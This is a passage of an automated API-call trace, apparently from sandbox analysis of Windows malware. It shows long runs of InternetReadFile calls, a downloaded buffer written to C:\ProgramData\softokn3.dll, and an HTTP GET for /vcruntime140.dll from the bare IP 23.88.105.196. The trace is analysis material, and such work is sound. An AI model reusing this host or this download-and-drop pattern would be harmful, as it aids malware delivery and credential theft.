lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652c28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652c28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3653010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3653010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36533f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36533f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36537e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36537e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3653bc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3653bc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3653fb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3653fb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3654398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3654398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3654780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3654780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3654b68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3654b68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3654f50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3654f50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3655338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3655338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3655720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3655720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3655b08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3655b08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3655ef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3655ef0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36562d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36562d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36566c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36566c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3656aa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3656aa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3656e90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3656e90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3657278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3657278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3657660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3657660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3657a48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3657a48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3657e30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3657e30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3658218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3658218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3658600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3658600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36589e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36589e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3658dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3658dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36591b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36591b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36595a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36595a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3659988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3659988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3659d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3659d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365a158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365a158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365a540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365a540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365a928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365a928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365ad10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365ad10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365b0f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365b0f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365b4e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365b4e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365b8c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365b8c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365bcb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365bcb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365c098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365c098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365c480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365c480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365c868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365c868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365cc50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365cc50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365d038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365d038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365d420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365d420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365d808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365d808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365dbf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365dbf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365dfd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365dfd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365e3c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365e3c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365e7a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365e7a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365eb90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365eb90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365ef78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365ef78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365f360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365f360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365f748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365f748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365fb30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365fb30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x365ff18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x365ff18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3660300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3660300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36606e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36606e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3660ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3660ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3660eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3660eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36612a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36612a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x350) returned 1 [0096.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36615f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36615f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x0) returned 1 [0096.695] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0096.695] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0096.695] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0096.696] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0096.696] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0096.696] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.696] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0096.696] CreateFileA (lpFileName="C:\\ProgramData\\\\softokn3.dll" (normalized: "c:\\programdata\\softokn3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0096.696] WriteFile (in: hFile=0x28, lpBuffer=0x363e020*, nNumberOfBytesToWrite=0x235d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x363e020*, lpNumberOfBytesWritten=0x19f7cc*=0x235d0, lpOverlapped=0x0) returned 1 [0096.700] CloseHandle (hObject=0x28) returned 1 [0096.704] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.704] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0096.704] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0096.704] GetLastError () returned 0x0 [0096.705] SetLastError (dwErrCode=0x0) [0096.705] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0096.705] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0096.705] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0096.705] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/vcruntime140.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0096.705] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0096.705] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0096.705] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0096.705] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0096.705] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0096.705] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0096.705] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0096.766] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0096.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363e020*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363e408*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e7f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363e7f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363ebd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363ebd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363efc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363efc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363f3a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363f3a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363f790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363f790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363fb78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363fb78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363ff60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363ff60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640b18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640f00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36412e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36412e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36416d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36416d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3641ab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3641ab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3641ea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3641ea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642a58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642a58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642e40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642e40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3643228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3643228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3643610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3643610*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36439f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36439f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3643de0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3643de0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36441c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36441c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36445b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36445b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3644998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3644998*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3644d80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3644d80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645168*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645550*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645938*, 